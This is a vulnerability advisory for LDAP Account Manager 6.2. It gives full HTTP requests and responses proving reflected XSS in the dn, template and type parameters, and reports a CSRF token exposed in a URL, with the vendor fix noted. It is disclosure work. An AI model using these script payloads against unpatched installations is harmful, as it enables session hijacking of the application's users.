Affected Software: LDAP Account Manager (6.2)
Pentester: MichaA KAdzior <michal[dot]kedzior147[at]gmail[dot]com>
CVE: CVE-2018-8763, CVE-2018-8764
Vulnerabilities :
*****************
1. Cross-site scripting (reflected) CVE-2018-8763 :
================================
Risk: HIGH
Summary:
***********
Reflected Cross Site Scripting vulnerability has been found during the
test. It allows for injecting and executing JavaScript code in the
application context. JavaScript code is only reflected by the server, which
differs from Stored Cross-Site Scripting that stores code in the
application permanently. This vulnerability is mostly exploited in order to
hijack authenticated users sessions. It can also be used to redirect users
to malicious websites or steal application user's keystokes.
Proof:
*******
I. Vulnerable parameter dn:
=====================
Request with payload [%3cscript%3ealert(document.domain)%3c%2fscript%3e]:
GET /lam/templates/3rdParty/pla/htdocs/cmd.php?cmd=add_attr_
form&server_id=1&dn=cn%3xxxxx%2cou%3dpeople%2cdc%3dpl%2cdc%
3ds2-eu%2cdc%3dxxxx%2cdc%3dlocalru0bz%3cscript%3ealert(
document.domain)%3c%2fscript%3eu89iu HTTP/1.1
Host: XXXXXXXXXX
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: XXXXXXXXX
Cookie: XXXXXXXXXX
Response with execution point [<script>alert(document.domain)</script>]:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Length: 12887
Content-Security-Policy: frame-ancestors 'self'
Content-Type: text/html; charset="UTF-8"
Date: Fri, 02 Mar 2018 09:52:18 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.4.29 (Debian)
Vary: Accept-Encoding
X-Frame-Options: sameorigin
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="auto">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"
/><title>LDAP Account Manager (6.2) - </title><link rel="shortcut icon"
href="images/favicon.ico" type="image/vnd.microsoft.icon" /><link
type="text/css" rel="stylesheet" href="css/default/style.css" /><link
type="text/css" rel="stylesheet" media="all"
href="js/jscalendar/calendar-blue.css"
title="blue" />
<script type="text/javascript" src="js/ajax_functions.js"></script><script
type="text/javascript" src="js/jscalendar/calendar.js"></script>
</head>
[a|]
</div></td><td class="body" style="width: 80%;"><div id="ajBODY">
<table class="sysmsg"><tr><td class="icon" rowspan="2"><img
src="images/default/error-big.png" alt="error" /></td><td
class="head">Error</td></tr><tr><td class="body">The entry
(cn=xxxxx,ou=people,dc=pl,dc=s2-eu,dc=xxxx,dc=localru0bz<
script>alert(document.domain)</script>u89iu) does not
exist.</td></tr></table>
<table class="body"><tr><td></td></tr></table></div></td></tr>
</table></body></html>
II.
Vulnerable parameter template:
========================
Request with payload [%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%
3e]:
GET /lam/templates/3rdParty/pla/htdocs/cmd.php?cmd=rename_
form&server_id=1&dn=cn%3Dtechnic%2Cou%3Dpeople%2Cdc%
3Dpl%2Cdc%3Ds2-eu%2Cdc%3Dxxxx%2Cdc%3Dlocal&template=
noneuaax6%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ev7rfn
HTTP/1.1
Host: xxxxxxx
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Response with execution point ["><script>alert(document.domain)</script>]:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Length: 22141
Content-Security-Policy: frame-ancestors 'self'
Content-Type: text/html; charset="UTF-8"
Date: Fri, 02 Mar 2018 11:22:27 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.4.29 (Debian)
Vary: Accept-Encoding
X-Frame-Options: sameorigin
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="auto">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"
/><title>LDAP Account Manager (6.2) -
cn=technic,ou=people,dc=pl,dc=s2-eu,dc=xxxx,dc=local
</title><link rel="shortcut icon" href="images/favicon.ico"
type="image/vnd.microsoft.icon" /><link type="text/css" rel="stylesheet"
href="css/default/style.css" /><link type="text/css" rel="stylesheet"
media="all" href="js/jscalendar/calendar-blue.css" title="blue" />
<script type="text/javascript" src="js/ajax_functions.js"></script><script
type="text/javascript" src="js/jscalendar/calendar.js"></script>
</head>
[a|]
</div></td><td class="body" style="width: 80%;"><div id="ajBODY">
<table class="body"><tr><td><h3 class="title">Rename
<b>cn=technic</b></h3><h3 class="subtitle">DN:
<b>cn=technic,ou=people,dc=pl,dc=s2-eu,dc=xxx,dc=local</b></h3><center>Rename
<b>cn=technic</b> to a new object.<br /><br /><form
action="cmd.php?cmd=rename" method="post" /><input type="hidden"
name="server_id" value="1" /><input type="hidden" name="dn"
value="cn%3Dtechnic%2Cou%3Dpeople%2Cdc%3Dpl%2Cdc%3Ds2-eu%2Cdc%3Dxxxx%2Cdc%3Dlocal"
/><input type="hidden" name="template" value="noneuaax6"><script>
alert(document.domain)</script>v7rfn" /><input type="text" name="new_rdn"
size="30" value="cn=technic" /><input type="submit" value="Rename"
/></form></center>
</td></tr></table></div></td></tr>
</table></body></html>
III.
Vulnerable parameter type:
=====================
Request with payload [%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%
3e]:
GET /lam/templates/upload/masscreate.php?type=userawvpj%
22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ev0car HTTP/1.1
Host: xxxxx
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: xxxxxx
Cookie: xxxxxx
Response with execution point ["><script>alert(document.domain)</script>]:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Length: 8418
Content-Security-Policy: frame-ancestors 'self'
Content-Type: text/html; charset=UTF-8
Date: Fri, 02 Mar 2018 11:10:05 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.4.29 (Debian)
Vary: Accept-Encoding
X-Frame-Options: sameorigin
Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "
http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache"><link rel="shortcut
icon" type="image/x-icon" href="../../graphics/favicon.ico">
<link rel="icon" href="../../graphics/logo136.png">
<title>LDAP Account Manager (directoryservice:389)</title>
[a|]
<div class="userawvpj"><script>alert(document.domain)</script>v0car-bright
smallPaddingContent"><div class="title">
<h2 class="titleText">Account creation via file upload</h2>
</div><p> </p>
<p>
Here you can create multiple accounts by providing a CSV file.</p>
<p> </p>
<form enctype="multipart/form-data" action="masscreate.php" method="post">
<table>
<tr>
<td >
<div class="nowrap">Account type</div>
</td>
<td>
<select class="ui-corner-all" name="type" id="type" size="1"
onchange="changeVisibleModules(this);"
tabindex="1">
<option value="group">Groups</option>
<option value="user">Users</option>
</select>
</td>
[a|]
Remediation:
***************
Vulnerabilities has been fixed by vendor in version 6.3
2. CSRF token in URL CVE-2018-8764
=================
Risk: LOW
Summary:
************
Sensitive information within URLs may be logged in various locations,
including the user's browser, the web server, and any forward or reverse
proxy servers between the two endpoints. URLs may also be displayed
on-screen, bookmarked or emailed around by users. They may be disclosed to
third parties via the Referer header when any off-site links are followed.
Placing session tokens into the URL increases the risk that they will be
captured by an attacker.
Proof:
*******
Request witch reveals CSRF token [sec_token=1045368361844]:
GET /lam/templates/misc/ajax.php?function=passwordChange&sec_token=1045368361844
HTTP/1.1
Host: xxxx
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: xxxxx
Cookie: xxxxxx
Remediation:
***************
Vulnerability has been fixed by vendor in version 6.3
